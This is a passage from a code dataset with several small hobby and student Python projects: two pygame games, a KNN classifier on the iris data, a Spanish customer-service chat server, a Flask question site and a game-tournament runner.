os\nimport sys\n\nimport pygame\nimport pygame_menu\n\nimport Settings\nfrom Player import Player\nfrom pygame.locals import *\n\n\nclass Game:\n\n def __init__(self, map_path=\"maps/map\", music_path=\"sounds/music.wav\"):\n pygame.mixer.pre_init(44100, -16, 2, 512)\n pygame.mixer.init()\n\n self.__display = pygame.Surface(Settings.DISPLAY_SIZE)\n\n self.__game_map = self.__load_map(map_path)\n\n self.__tile_rects = []\n self.__tiles_imgs = self.__load_tiles_imgs()\n self.__spikes = []\n\n self.__music_path = music_path\n\n self.__grass_sound_timer = 0\n\n self.__true_scroll = [0, 0]\n self.__scroll = []\n\n self.__clock = pygame.time.Clock()\n\n self.__screen = pygame.display.set_mode(Settings.WINDOW_SIZE, 0, 32)\n\n self.__player = Player(self)\n\n flag_x, flag_y = Settings.END_FLAG_POINT\n self.__end_flag_zone = [\n pygame.Rect(flag_x * Settings.TILE_SIZE, (flag_y + 1) * Settings.TILE_SIZE, Settings.TILE_SIZE, Settings.TILE_SIZE),\n pygame.Rect(flag_x * Settings.TILE_SIZE, (flag_y - 1) * Settings.TILE_SIZE, Settings.TILE_SIZE, Settings.TILE_SIZE),\n pygame.Rect((flag_x - 1) * Settings.TILE_SIZE, flag_y * Settings.TILE_SIZE, Settings.TILE_SIZE, Settings.TILE_SIZE),\n pygame.Rect((flag_x + 1) * Settings.TILE_SIZE, flag_y * Settings.TILE_SIZE, Settings.TILE_SIZE, Settings.TILE_SIZE),\n ]\n\n def get_tile_rects(self):\n return self.__tile_rects\n\n def get_spikes(self):\n return self.__spikes\n\n def get_end_flag_zone(self):\n return self.__end_flag_zone\n\n def get_display(self):\n return self.__display\n\n def get_scroll(self):\n return self.__scroll\n\n def create_win_menu(self):\n menu = pygame_menu.Menu(Settings.WINDOW_SIZE[1], Settings.WINDOW_SIZE[0], 'You won', theme=pygame_menu.themes.THEME_DARK)\n\n menu.add_button('Play again', self.__start_game)\n menu.add_button('Quit', pygame_menu.events.EXIT)\n menu.mainloop(self.__screen)\n\n def __create_start_menu(self):\n menu = pygame_menu.Menu(Settings.WINDOW_SIZE[1], Settings.WINDOW_SIZE[0], 'Welcome',theme=pygame_menu.themes.THEME_DARK)\n\n menu.add_button('Play', self.__start_game)\n menu.add_button('Quit', pygame_menu.events.EXIT)\n menu.mainloop(self.__screen)\n\n def __load_map(self, path):\n with open(os.path.join(Settings.CURR_PATH, path + \".txt\"), 'r') as f:\n data = f.read()\n data = data.split('\\n')\n game_map = []\n for row in data:\n tiles = row.split(' ')\n game_map.append(list(tiles))\n\n return game_map\n\n def __load_tiles_imgs(self):\n tiles = dict()\n for i in range(0, 29):\n formatted = '%02d' % i\n tiles[formatted] = pygame.image.load(os.path.join(Settings.CURR_PATH, 'tiles/%s.png' % formatted))\n\n return tiles\n\n def start(self):\n pygame.init()\n pygame.display.set_caption(Settings.GAME_NAME_LABEL)\n\n #Setting up the music\n pygame.mixer.music.load(os.path.join(Settings.CURR_PATH, self.__music_path))\n pygame.mixer.music.play(-1)\n\n self.__init_map()\n\n self.__create_start_menu()\n\n def __draw_background(self):\n pygame.draw.rect(self.__display, Settings.BACKGROUND_COLOR, pygame.Rect(0, 120, 300, 80))\n\n for background_object in Settings.BACKGROUND_OBJECTS_DATA: # some background object\n obj_rect = pygame.Rect(background_object[1][0] - self.__scroll[0] * background_object[0],\n background_object[1][1] - self.__scroll[1] * background_object[0], background_object[1][2],\n background_object[1][3])\n if background_object[0] == 0.5:\n pygame.draw.rect(self.__display, (14, 222, 150), obj_rect)\n else:\n pygame.draw.rect(self.__display, (9, 91, 85), obj_rect)\n\n def __count_scroll(self):\n self.__true_scroll[0] += (self.__player.get_player_rect().x - self.__true_scroll[\n 0] - Settings.WIDTH_FOR_PERSON_CENTER) / 20 # / 20 this effect of camera move\n self.__true_scroll[1] += (self.__player.get_player_rect().y - self.__true_scroll[\n 1] - Settings.HEIGHT_FOR_PERSON_CENTER) / 20\n\n self.__scroll = [int(x) for x in self.__true_scroll]\n\n def __init_map(self):\n y = 0\n for layer in self.__game_map:\n x = 0\n for tile in layer:\n if tile in Settings.SPIKE_NUMBERS:\n self.__spikes.append(pygame.Rect(x * Settings.TILE_SIZE, y * Settings.TILE_SIZE, Settings.TILE_SIZE,\n Settings.TILE_SIZE))\n elif tile != '**':\n self.__tile_rects.append(pygame.Rect(x * Settings.TILE_SIZE, y * Settings.TILE_SIZE, Settings.TILE_SIZE,\n Settings.TILE_SIZE))\n x += 1\n y += 1\n\n def __redraw_map(self):\n y = 0\n for layer in self.__game_map:\n x = 0\n for tile in layer:\n if tile != '**':\n self.__display.blit(self.__tiles_imgs[tile],(x * Settings.TILE_SIZE - self.__scroll[0], y * Settings.TILE_SIZE - self.__scroll[1])) # 16 this width and height our png\n x += 1\n y += 1\n\n def __start_game(self):\n while True: # game loop\n self.__display.fill(Settings.SKY_COLOR) # clear screen by filling it with blue all environment will be here\n\n if self.__grass_sound_timer > 0:\n self.__grass_sound_timer -= 10\n\n self.__count_scroll()\n\n self.__draw_background()\n\n self.__redraw_map()\n\n self.__player.redraw()\n\n for event in pygame.event.get(): # event loop\n if event.type == QUIT:\n pygame.quit()\n sys.exit()\n if event.type == KEYDOWN:\n if event.key == K_ESCAPE:\n menu = pygame_menu.Menu(Settings.WINDOW_SIZE[1], Settings.WINDOW_SIZE[0], 'Pause', theme=pygame_menu.themes.THEME_DARK)\n\n menu.add_button('Continue', self.__start_game)\n menu.add_button('Quit', pygame_menu.events.EXIT)\n menu.mainloop(self.__screen)\n\n if event.key == K_1: # off music\n pygame.mixer.music.fadeout(1000)\n if event.key == K_2: # on music\n pygame.mixer.music.play(-1)\n if event.key == K_RIGHT:\n self.__player.move_right()\n if event.key == K_LEFT:\n self.__player.move_left()\n if event.key == K_UP:\n self.__player.jump()\n if event.type == KEYUP:\n if event.key == K_RIGHT:\n self.__player.stop_right()\n if event.key == K_LEFT:\n self.__player.stop_left()\n\n self.__screen.blit(pygame.transform.scale(self.__display, Settings.WINDOW_SIZE), (0, 0)) # rendering game session\n pygame.display.update() # update display\n self.__clock.tick(60) # maintain 60fps\n","repo_name":"YODAXYZ/Platformer","sub_path":"Game.py","file_name":"Game.py","file_ext":"py","file_size_in_byte":7406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"18879918654","text":"# coding: utf-8\nimport logging\n\nimport random\n\nfrom gat_games.game_engine.engine import GATLogger\nfrom gat_games.games import *\nfrom gat_runner.languages import GATFileFactory\n# Important to update all Game.Player references\nfrom gat_runner.players import *\n\n\ndef play_gat(Game, seed, players, log_level=logging.INFO, player_log=False):\n GATLogger.set_level(log_level)\n for player in players:\n player.start(player_log=player_log)\n if not seed:\n seed = random.randint(1, 9999999)\n game = Game(seed, players)\n game.start()\n game.print_summary()\n\n for player in players:\n player.stop()\n return game\n\n\ndef play_random_algorithm_vs_random_algorithm(Game, seed, name1=None, name2=None, log_level=logging.INFO):\n players = [Game.RandomStrategy(name=name1), Game.RandomStrategy(name=name2)]\n return play_gat(Game, seed, players, log_level=log_level)\n\n\ndef play_native_algorithm_vs_random_algorithm(Game, seed, custom_strategy, log_level=logging.INFO):\n players = [Game.RandomStrategy(), custom_strategy]\n return play_gat(Game, seed, players, log_level=log_level)\n\n\ndef play_file_against_random_algorithm(Game, seed, filepath, language=None, name1=None, name2=None, log_level=logging.INFO):\n gat_file = GATFileFactory.create(filepath, language=language)\n gat_file.compile()\n command = gat_file.get_runtime_command()\n player1 = Game.Player(command, name=name1)\n\n player2 = Game.RandomStrategy(name=name2)\n\n return play_gat(Game, seed, [player1, player2], log_level=log_level)\n\n\ndef play_file_against_file(Game, seed, filepath1, filepath2, language1=None, language2=None, name1=None, name2=None, log_level=logging.INFO):\n gat_file1 = GATFileFactory.create(filepath1, language=language1)\n gat_file1.compile()\n command1 = gat_file1.get_runtime_command()\n player1 = Game.Player(command1, name=name1)\n\n gat_file2 = GATFileFactory.create(filepath2, language=language2)\n gat_file2.compile()\n command2 = gat_file2.get_runtime_command()\n player2 = Game.Player(command2, name=name2)\n\n return play_gat(Game, seed, [player1, player2], log_level=log_level)\n\n\ndef play_from_command_line(Game, seed, filepath1='gat-random', filepath2='gat-random', language1=None, language2=None, name1=None, name2=None, log_level=logging.INFO, player_log=False):\n if filepath1 == 'gat-random':\n player1 = Game.RandomStrategy(name=name1)\n else:\n gat_file1 = GATFileFactory.create(filepath1, language=language1)\n gat_file1.compile()\n command1 = gat_file1.get_runtime_command()\n player1 = Game.Player(command1, name=name1)\n\n if filepath2 == 'gat-random':\n player2 = Game.RandomStrategy(name=name2)\n else:\n gat_file2 = GATFileFactory.create(filepath2, language=language2)\n gat_file2.compile()\n command2 = gat_file2.get_runtime_command()\n player2 = Game.Player(command2, name=name2)\n\n return play_gat(Game, seed, [player1, player2], log_level=log_level, player_log=player_log)\n","repo_name":"gatournament/gat-runner","sub_path":"gat_runner/runner.py","file_name":"runner.py","file_ext":"py","file_size_in_byte":3018,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"34144232195","text":"import pandas as pd\r\nimport math\r\n\r\ndef oklid_uzaklik(x1, x2):\r\n uzaklik = 0.0\r\n for i in range(len(x1)):\r\n uzaklik += (x1[i] - x2[i])**2\r\n return math.sqrt(uzaklik)\r\n\r\ndef chebyshev_uzaklik(x1, x2):\r\n uzaklik = 0.0\r\n for i in range(len(x1)):\r\n uzaklik = max(uzaklik, abs(x1[i] - x2[i]))\r\n return uzaklik\r\n\r\ndef jaccard_uzaklik(x1, x2):\r\n intersection = len(set(x1).intersection(set(x2)))\r\n union = len(set(x1).union(set(x2)))\r\n uzaklik = 1.0 - (intersection / union)\r\n return uzaklik\r\n\r\n\r\nclass KNN:\r\n def __init__(self, uzaklik_fonks, k, x_train,y_train, x_test):\r\n self.uzaklik_fonks = uzaklik_fonks\r\n self.k = k\r\n self.x_train = x_train\r\n self.y_train = y_train\r\n self.x_test = x_test\r\n \r\n def knn(self):\r\n uzakliklar = []\r\n for i in range(len(self.x_train)):\r\n uzaklik = self.uzaklik_fonks(self.x_train[i], self.x_test)\r\n uzakliklar.append((uzaklik, i))\r\n uzakliklar.sort()\r\n komsular = []\r\n for i in range(self.k):\r\n komsular.append(uzakliklar[i][1])\r\n votes = {}\r\n for i in komsular:\r\n if self.y_train[i] in votes:\r\n votes[self.y_train[i]] += 1\r\n else:\r\n votes[self.y_train[i]] = 1\r\n sorted_votes = sorted(votes.items(), key=lambda x: x[1], reverse=True)\r\n return sorted_votes[0][0]\r\n\r\n# DATASET\r\niris_df = pd.read_csv('https://archive.ics.uci.edu/ml/machine-learning-databases/iris/iris.data', header=None)\r\n\r\nX_train = iris_df.iloc[:, :-1].values.tolist()\r\nY_train = iris_df.iloc[:, -1].values.tolist()\r\n\r\n# TEST ORNEKLERI\r\n\r\n# OKLID ICIN\r\nprint(\"\\nOKLID UZAKLIK METRIGI ICIN\")\r\nX_test1 = [4.6,3.1,1.5,0.2] # Iris-setosa # datasette random bir koordinat \r\nk = 5\r\nprediction1 = KNN(oklid_uzaklik,k, X_train, Y_train, X_test1)\r\nprint(\"Oklid - test1 :\",prediction1.knn()) \r\n\r\nX_test2 = [5.4,3.0,4.5,1.5] # Iris-versicolor\r\nk = 5\r\nprediction2 = KNN(oklid_uzaklik,k, X_train, Y_train, X_test2)\r\nprint(\"Oklid - test3 :\",prediction2.knn()) \r\n\r\nX_test3 = [7.6,3.0,6.6,2.1] # Iris-virginica\r\nk = 5\r\nprediction2 = KNN(oklid_uzaklik,k, X_train, Y_train, X_test3)\r\nprint(\"Oklid - test2 :\",prediction2.knn())\r\n \r\n\r\n# CHEBYSHEV ICIN\r\nprint(\"\\nCHEBYSHEV UZAKLIK METRIGI ICIN\")\r\nX_test1 = [5.1,2.5,3.0,1.1] # Iris-versicolor \r\nk = 5\r\nprediction1 = KNN(chebyshev_uzaklik,k, X_train, Y_train, X_test1)\r\nprint(\"Chebyshev - test1 :\",prediction1.knn()) \r\n\r\nX_test2 = [4.7,3.2,1.3,0.2] # Iris-setosa \r\nk = 5\r\nprediction2 = KNN(chebyshev_uzaklik,k, X_train, Y_train, X_test2)\r\nprint(\"Chebyshev - test3 :\",prediction2.knn())\r\nX_test3 = [5.9,3.0,5.1,1.8] # Iris-virginica\r\nk = 5\r\nprediction2 = KNN(chebyshev_uzaklik,k, X_train, Y_train, X_test3)\r\nprint(\"Chebyshev - test2 :\",prediction2.knn())\r\n\r\n\r\n# JACCARD ICIN\r\nprint(\"\\nJACCARD UZAKLIK METRIGI ICIN\")\r\nX_test1 = [6.4,2.8,5.6,2.1] # Iris-virginica \r\nk = 5\r\nprediction1 = KNN(chebyshev_uzaklik,k, X_train, Y_train, X_test1)\r\nprint(\"Jaccard - test1 :\",prediction1.knn()) \r\n\r\nX_test2 = [5.7,2.8,4.1,1.3] # Iris-versicolor \r\nk = 5\r\nprediction2 = KNN(chebyshev_uzaklik,k, X_train, Y_train, X_test2)\r\nprint(\"Jaccard - test3 :\",prediction2.knn())\r\n\r\nX_test3 = [5.0,3.4,1.5,0.2] # Iris-setosa\r\nk = 5\r\nprediction2 = KNN(chebyshev_uzaklik,k, X_train, Y_train, X_test3)\r\nprint(\"Jaccard - test2 :\",prediction2.knn())\r\n ","repo_name":"havvabzkrtt/Python_Examples","sub_path":"knn_algorithm_without_library.py","file_name":"knn_algorithm_without_library.py","file_ext":"py","file_size_in_byte":3393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"86760263858","text":"import time\r\nimport re\r\nfrom db import *\r\nfrom hashlib import *\r\nfrom send_read import *\r\nfrom datetime import datetime\r\nfrom nlp import interp\r\n\r\nFORMAT = 'utf-8'\r\nDISCONNECT_MESSAGE = \"!DISCONNECT\"\r\nDB_PATH = \"db.json\"\r\nEJECUTIVOS_PATH = \"ejecutivos.json\"\r\n\r\nayuda_comandos = \"\"\"Estos son los comandos que puedes utilizar:\\n\r\n\\t :ayuda . Muestra lista de comandos.\r\n\\t :desconectar . Para terminar la conversación.\r\n\\t :subject . Agrega/cambia el asunto relacionado con la solicitud. \r\n\\t :state [abierto|cerrado]. Cambia el estado de la solicitud.\r\n\\t :history . Agrega nuevos antecedentes a la solicitud.\r\n\\t :name . Cambia el Nombre del Ejecutivo\r\n\\t :restart. Reinicia todos sus servicios.\r\n\"\"\"\r\n\r\ncola_ejecutivos = []\r\nmsg_buffer = (\"ejecutivo\", \"\")\r\ndb_ejecutivos = abrir_json(EJECUTIVOS_PATH)\r\n\r\n\r\n# Comienza el diálogo entre cliente-servidor\r\ndef start_operations(conn, name, rut, print_options=0):\r\n options = f\"\"\"[ASISTENTE] Hola {name.split()[0]}, en qué te podemos ayudar?.\\n\r\n \\t(1) Revisar atenciones anteriores\r\n \\t(2) Reiniciar servicios\r\n \\t(3) Contactar a un ejecutivo\r\n \\t(4) Salir\"\"\"\r\n\r\n # Checkear si printea la ayuda\r\n if print_options == 0:\r\n send(conn, options)\r\n\r\n respuesta = read(conn)\r\n\r\n # Implementación de interpolación de respuesta con NLP\r\n if not respuesta.isnumeric():\r\n respuesta = interp(respuesta)\r\n\r\n # Revisar historial de atenciones\r\n if respuesta == '1':\r\n attentions_status = \":[ASISTENTE] \" + check_attentions(conn, rut)\r\n send(conn, attentions_status)\r\n return start_operations(conn, name, rut, 0)\r\n\r\n # Reiniciar servicios\r\n elif respuesta == '2':\r\n msg = reset_service(rut, name)\r\n print(f\"[SERVER] {msg}\")\r\n send(conn, f\"[ASISTENTE] {msg}\")\r\n\r\n # Contactar con ejecutivo\r\n elif respuesta == '3':\r\n if len(cola_ejecutivos) == 0:\r\n send(conn, \"[ASISTENTE] No hay ejecutivos disponibles en este momento.\")\r\n else:\r\n # Sacamos el siguiente ejecutivo de la cola\r\n ejecutivo, rut_e, conn_e = cola_ejecutivos.pop(0)\r\n # Llamamos a la conexión entre cliente-ejecutivo, indicando comienzo y termino en el server\r\n print(f\"[SERVER] Cliente {name} redirigido a ejecutivo {ejecutivo}.\")\r\n contact_operator(conn, name, rut, conn_e, ejecutivo, rut_e)\r\n send(conn, f\"[ASISTENTE] Se terminó la conexión con {ejecutivo}\")\r\n\r\n # Terminamos conexión entre cliente-servidor\r\n elif respuesta == '4':\r\n print(server_exit(conn, name, \"SERVER\"))\r\n send(conn, server_exit(conn, name, \"ASISTENTE\"))\r\n return\r\n # No hacemos recursión a start_operations, terminando el ciclo\r\n\r\n # Entrada no válida\r\n else:\r\n send(conn, \"Entrada no válida\")\r\n\r\n return start_operations(conn, name, rut, 1)\r\n\r\n\r\n# Crea una atención que registra el reinicio de servicios\r\ndef reset_service(rut, name):\r\n db = abrir_json(DB_PATH)\r\n requestID = sha256()\r\n requestID.update(str(time.time()).encode(\"utf-8\"))\r\n crear_atencion(db, rut, int(requestID.hexdigest()[:10], 16) % (10 ** 8), \"Reseteo de Servicios\")\r\n actualizar_json(DB_PATH, db)\r\n return f\"Reinicio Servicios Cliente {name}.\"\r\n\r\n\r\n# Consulta a la base de datos, enviando al cliente sus atenciones\r\ndef check_attentions(conn, rut):\r\n db = abrir_json(DB_PATH)\r\n db_cliente = db[rut][\"atenciones\"]\r\n\r\n if db_cliente == {}:\r\n return \"No hay atenciones anteriores.\"\r\n\r\n solicitudes = \"Usted tiene las siguiente solicitudes en curso:\\n\\n\"\r\n\r\n # Recolecta la solicitud con su correspondiente descripción\r\n i = 1\r\n for sol_id in db_cliente:\r\n descripcion = db_cliente[sol_id][\"descripcion\"]\r\n solicitudes += f\"\\t({i}) Solicitud {sol_id}: {descripcion}\\n\"\r\n i += 1\r\n\r\n # Se imprimen las solicitudes y se espera nueva respuesta para seleccionar historial\r\n solicitudes += \"\\nElija cual solicitud quiere revisar.\"\r\n send(conn, solicitudes)\r\n respuesta = read(conn)\r\n\r\n try: # Intenta convertir la entrada en un número válido\r\n respuesta = int(respuesta)\r\n except (RuntimeError, TypeError, NameError, ValueError):\r\n return \"Entrada inválida.\"\r\n\r\n # Selecciona un índice válido de solicitud para mostrar el historial\r\n if 0 < int(respuesta) < i:\r\n id_at_json = db[rut][\"atenciones\"].keys()\r\n id_request = [*id_at_json][respuesta - 1]\r\n db_historial = db[rut][\"atenciones\"][id_request][\"historial\"]\r\n\r\n # Verifica si la base de historiales esta vacía\r\n if db_historial == {}:\r\n return \"No hay historial asociado a esta solicitud.\"\r\n\r\n # Entrega el detalle completo para cada fecha\r\n detalle = f\"Historial de la solicitud {id_request}\\n\"\r\n for fecha in db_historial:\r\n detalle += f\"\\t Fecha {fecha}: {db_historial[fecha]}\\n\"\r\n\r\n return f\"{detalle}\"\r\n else:\r\n return \"Entrada inválida.\"\r\n\r\n\r\ndef contact_operator(conn_c, cliente, rut, conn_e, ejecutivo, rut_e):\r\n # Tomamos como ocupado al ejecutivo\r\n db_ejecutivos[rut_e][\"disponible\"] = 0\r\n actualizar_json(EJECUTIVOS_PATH, db_ejecutivos)\r\n\r\n # Explicitamos la conexión\r\n send(conn_e, f\"Conectando con {cliente}...\")\r\n send(conn_c, f\":Conectando con {ejecutivo}...\")\r\n\r\n # Por defecto se crea una solicitud de \"Consulta con Ejecutivo.\"\r\n requestID = sha256()\r\n inicio_solicitud = datetime.now().strftime(\"%Y-%m-%d %H:%M\")\r\n requestID.update(str(time.time()).encode(FORMAT))\r\n id_solicitud = int(requestID.hexdigest()[:10], 16) % (10 ** 8)\r\n id_solicitud = str(id_solicitud)\r\n\r\n # Conexión a la base de datos de los clientes e inserción de solicitud con historial\r\n db = abrir_json(DB_PATH)\r\n crear_atencion(db, rut, id_solicitud, \"Comunicación con Ejecutivo.\")\r\n crear_historial(db, rut, id_solicitud, inicio_solicitud, f\"Contacto con {ejecutivo}, Rut: {rut_e}.\")\r\n actualizar_json(DB_PATH, db)\r\n\r\n # Flujo de mensajes entre ejecutivo-cliente es como un ping-pong\r\n while True:\r\n msg_ejecutivo = read(conn_e)\r\n # En caso de que el ejecutivo envie un comando lo manejamos como un caso especial\r\n if msg_ejecutivo[0] == ':':\r\n comando = msg_ejecutivo[1:]\r\n if re.match('desconectar', comando):\r\n break\r\n\r\n # Verifica expresión regular exacta y envía del detalle de comandos\r\n elif re.match('ayuda', comando):\r\n send(conn_e, ayuda_comandos)\r\n\r\n # Verífica expresión regular al comienzo del comando\r\n # El resto lo utiliza como descripción de la solicitud en curso\r\n elif re.match('^subject ', comando):\r\n subject = comando.replace(\"subject \", \"\", 1) # Borra el comando la primera vez que aparece\r\n\r\n if subject == \"\":\r\n send(conn_e, f'Ingresa una descricpión válida.')\r\n continue\r\n db = abrir_json(DB_PATH)\r\n modificar_descripcion(db, rut, id_solicitud, subject)\r\n actualizar_json(DB_PATH, db)\r\n send(conn_e, f'Cambio de descripción a \"{subject}\"')\r\n\r\n # Verifica expresión regular al comienzo del comando\r\n # Si hace match, establece el estado que se indica a continuación\r\n elif re.match('^state ', comando):\r\n state = comando.replace(\"state \", \"\", 1) # Borra el comando la primera vez que aparece\r\n\r\n # Verifica un estado válido\r\n if re.match('abierto', state):\r\n state = True\r\n elif re.match('cerrado', state):\r\n state = False\r\n else:\r\n send(conn_e, \"Estado inválido, intentalo nuevamente.\")\r\n continue\r\n\r\n # Si sale bien, modifica la base de datos\r\n db = abrir_json(DB_PATH)\r\n modificar_estado(db, rut, id_solicitud, state)\r\n actualizar_json(DB_PATH, db)\r\n send(conn_e, f'Cambio de estado de solicitud a \"{state}\" realizado con éxito.')\r\n\r\n # Verifica expresión regular al comienzo del comando\r\n # Si hace match, crea una fecha nueva para el historial\r\n # agregado a continuación del comando en la solicitud actual\r\n elif re.match('^history ', comando):\r\n historial = comando.replace(\"history \", \"\", 1) # Borra el comando la primera vez que aparece\r\n fecha_nuevo_historial = datetime.now().strftime(\"%Y-%m-%d %H:%M\")\r\n db = abrir_json(DB_PATH)\r\n crear_historial(db, rut, id_solicitud, fecha_nuevo_historial, historial)\r\n actualizar_json(DB_PATH, db)\r\n send(conn_e, f'Nuevo detalle \"{historial}\" con fecha {fecha_nuevo_historial}.')\r\n\r\n # Verifica expresión regular al comienzo\r\n # Si hace match actualiza el nombre del ejecutivo\r\n # (este cambio lo verá el próximo cliente que atienda).\r\n elif re.match('^name ', comando):\r\n name = comando.replace(\"name \", \"\", 1) # Borra el comando la primera vez que aparece\r\n db_ejecutivos[rut_e][\"nombre\"] = name\r\n actualizar_json(EJECUTIVOS_PATH, db_ejecutivos)\r\n send(conn_e, f'¡Hola de nuevo {name}!')\r\n\r\n elif re.match('restart', comando):\r\n fecha_reinicio = datetime.now().strftime(\"%Y-%m-%d %H:%M\")\r\n db = abrir_json(DB_PATH)\r\n crear_historial(db, rut, id_solicitud, fecha_reinicio, \"Reinicia todos sus servicios\")\r\n actualizar_json(DB_PATH, db)\r\n send(conn_e, f'Reinicio de todos los servicios con fecha {fecha_reinicio}.')\r\n else:\r\n send(conn_e, \"Comando no reconocido, ingresa ':ayuda' para ver la lista de comandos.\")\r\n continue\r\n\r\n # Ping-Pong de mensajes asociados a los nombres del cliente y el ejecutivo\r\n send(conn_c, f\"[{ejecutivo.split()[0]}] {msg_ejecutivo}\")\r\n msg_cliente = read(conn_c)\r\n send(conn_e, f\"[{cliente.split()[0]}] {msg_cliente}\")\r\n\r\n # Dejamos al ejecutivo disponible, para que el thread deje de esperar\r\n db_ejecutivos[rut_e][\"disponible\"] = 1\r\n actualizar_json(EJECUTIVOS_PATH, db_ejecutivos)\r\n return\r\n\r\n\r\n# Maneja el término de la conexión entre cliente-servidor\r\ndef server_exit(conn, name, sys):\r\n disconnect_command = ':' + DISCONNECT_MESSAGE\r\n send(conn, disconnect_command) # Enviamos mensaje para desconectar cliente\r\n return f\"[{sys}] Cliente {name} desconectado.\"\r\n\r\n\r\n# Lógica de conexión del ejecutivo\r\ndef start_ejecutivo(conn, name, rut):\r\n cola_ejecutivos.append((name, rut, conn))\r\n connected = True\r\n send(conn, f\":[ASISTENTE] Hola {name.split()[0]}, estamos esperando una nueva conexión.\")\r\n\r\n # Esperamos a que se conecte alguien\r\n while connected:\r\n if (name, rut, conn) not in cola_ejecutivos:\r\n connected = False\r\n time.sleep(1)\r\n\r\n time.sleep(1) # Esperamos a que se actualice la db de ejecutivos\r\n # Dejamos al thread esperando hasta el fin de conexión con cliente\r\n while db_ejecutivos[rut][\"disponible\"] == 0:\r\n time.sleep(1)\r\n\r\n # Al terminar conexión preguntamos si quiere seguir en linea\r\n send(conn, f\"{name}, desea atender a un nuevo cliente? (y/n)\")\r\n continuar = read(conn)\r\n\r\n if continuar[0].upper() == 'Y': # Volvemos a llamar a start_ejecutivo\r\n start_ejecutivo(conn, name, rut)\r\n\r\n else: # Terminamos conexión\r\n disconnect_command = ':' + DISCONNECT_MESSAGE\r\n send(conn, disconnect_command)\r\n return\r\n","repo_name":"M4thinking/tarea1-teleco","sub_path":"operations.py","file_name":"operations.py","file_ext":"py","file_size_in_byte":11879,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"23"} +{"seq_id":"35862706504","text":"from flask import Blueprint, render_template, request, flash, redirect, url_for\nimport os, random\n\n\nviews = Blueprint(\"views\", __name__)\n\n@views.route(\"/\", methods=[\"GET\",\"POST\"])\ndef home():\n return render_template(\"home.html\")\n\n@views.route(\"/math/\", methods=[\"GET\",\"POST\"])\ndef math(arg):\n if arg == \"get\":\n return render_template(\"math.html\")\n \n params = arg.split(\"_\")\n\n directory = \"website/static/math\"\n if params[0] == \"shuffle\":\n ext = random.choice([\"further\",\"single\"])\n directory += f\"/{ext}\"\n ext = random.choice([\"pure\",\"stats\", \"mech\"])\n directory += f\"/{ext}\"\n\n elif params[1] == \"shuffle\":\n ext = random.choice([\"pure\",\"stats\",\"mech\"])\n directory += f\"/{params[0]}/{ext}\"\n\n else:\n directory += f\"/{params[0]}/{params[1]}\"\n\n contents = os.listdir(directory)\n try:\n index = random.randint(1, len(contents)//2)\n except:\n return \"directory empty\"\n question = f\"{directory}/{index}q.png\"\n question = question[8:]\n answer = f\"{directory}/{index}a.png\"\n answer = answer[8:]\n print(question, answer)\n return render_template(\"QA.html\", question=question, answer=answer)\n\n@views.route(\"/physics/\", methods=[\"GET\",\"POST\"])\ndef physics(arg):\n if arg == \"get\":\n return render_template(\"physics.html\")\n \n params = arg.split(\"_\")\n\n topics = {\"paper1\":[\"measurementsAndTheirErrors\", \"particlesAndRadiation\", \"waves\", \"mechAndMaterials\", \"electricity\"],\n \"paper2\":[\"thermal\", \"fields\", \"nuclear\"],\n \"paper3\":[\"practicalSkills\",\"turningPoints\"]}\n\n directory = \"website/static/physics\"\n if params[0] == \"shuffle\":\n ext = random.choice([\"paper1\",\"paper2\", \"paper3\"])\n directory += f\"/{ext}\"\n \n ext = random.choice(topics[ext])\n directory += f\"/{ext}\"\n\n elif params[1] == \"shuffle\":\n ext = random.choice(topics[params[0]])\n directory += f\"/{params[0]}/{ext}\"\n\n else:\n directory += f\"/{params[0]}/{params[1]}\"\n\n contents = os.listdir(directory)\n try:\n index = random.randint(1, len(contents)//2)\n except:\n return \"directory empty\"\n question = f\"{directory}/{index}q.png\"\n question = question[8:]\n answer = f\"{directory}/{index}a.png\"\n answer = answer[8:]\n \n return render_template(\"QA.html\", question=question, answer=answer)\n\n@views.route(\"/compsci\", methods=[\"GET\",\"POST\"])\ndef compsci():\n if request.method == \"GET\":\n return render_template(\"compsci.html\")","repo_name":"kumarsbars/many-questions","sub_path":"website/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"9297654463","text":"# WRITE YOUR SOLUTION HERE:\nfrom random import randint\nimport pygame\n\npygame.init()\nwidth, height = 640, 480\nscreen = pygame.display.set_mode((width, height))\npygame.display.set_caption(\"Asteroids\")\n\nrobotimg = pygame.image.load(\"robot.png\")\nrockimg = pygame.image.load(\"rock.png\")\nclock = pygame.time.Clock()\n\nto_right = False\nto_left = False\n\nclass Robot:\n def __init__(self):\n self.x = width/2-robotimg.get_width()/2\n self.y = height-robotimg.get_height()/2\n \nclass Rock:\n def __init__(self):\n self.x = randint(0, 640 - rockimg.get_width())\n self.y = -rockimg.get_height() \n \nrobot = Robot()\nrocks = [Rock()]\nlastrock = 0\npoints = 0\n\nwhile True:\n for event in pygame.event.get():\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_LEFT:\n to_left = True\n if event.key == pygame.K_RIGHT:\n to_right = True \n \n if event.type == pygame.KEYUP:\n if event.key == pygame.K_LEFT:\n to_left = False\n if event.key == pygame.K_RIGHT:\n to_right = False \n \n if event.type == pygame.QUIT:\n exit() \n\n if to_right:\n robot.x += 2\n if to_left:\n robot.x -= 2 \n \n robot.x = max(robot.x,0)\n robot.x = min(robot.x,width-robotimg.get_width())\n robot.y = max(robot.y,0)\n robot.y = min(robot.y,height-robotimg.get_height())\n\n screen.fill((0, 0, 0))\n\n if len(rocks) < 5:\n rock = Rock()\n rock.y = rocks[-1].y -200\n rocks.append(rock)\n\n for rock in rocks:\n screen.blit(rockimg, (rock.x, rock.y)) \n \n if rock.y > 480 - robotimg.get_height() - rockimg.get_height():\n if rock.x > robot.x - rockimg.get_height() and rock.x < robot.x + robotimg.get_width():\n rocks.remove(rock)\n points += 1\n if rock.y < 480 - rockimg.get_height():\n rock.y += 1\n else:\n exit() \n \n game_font = pygame.font.SysFont(\"Arial\", 24)\n text = game_font.render(f\"Points: {points}\", True, (255, 0, 0))\n screen.blit(text, (500, 10))\n screen.blit(robotimg, (robot.x, robot.y)) \n \n pygame.display.flip() \n 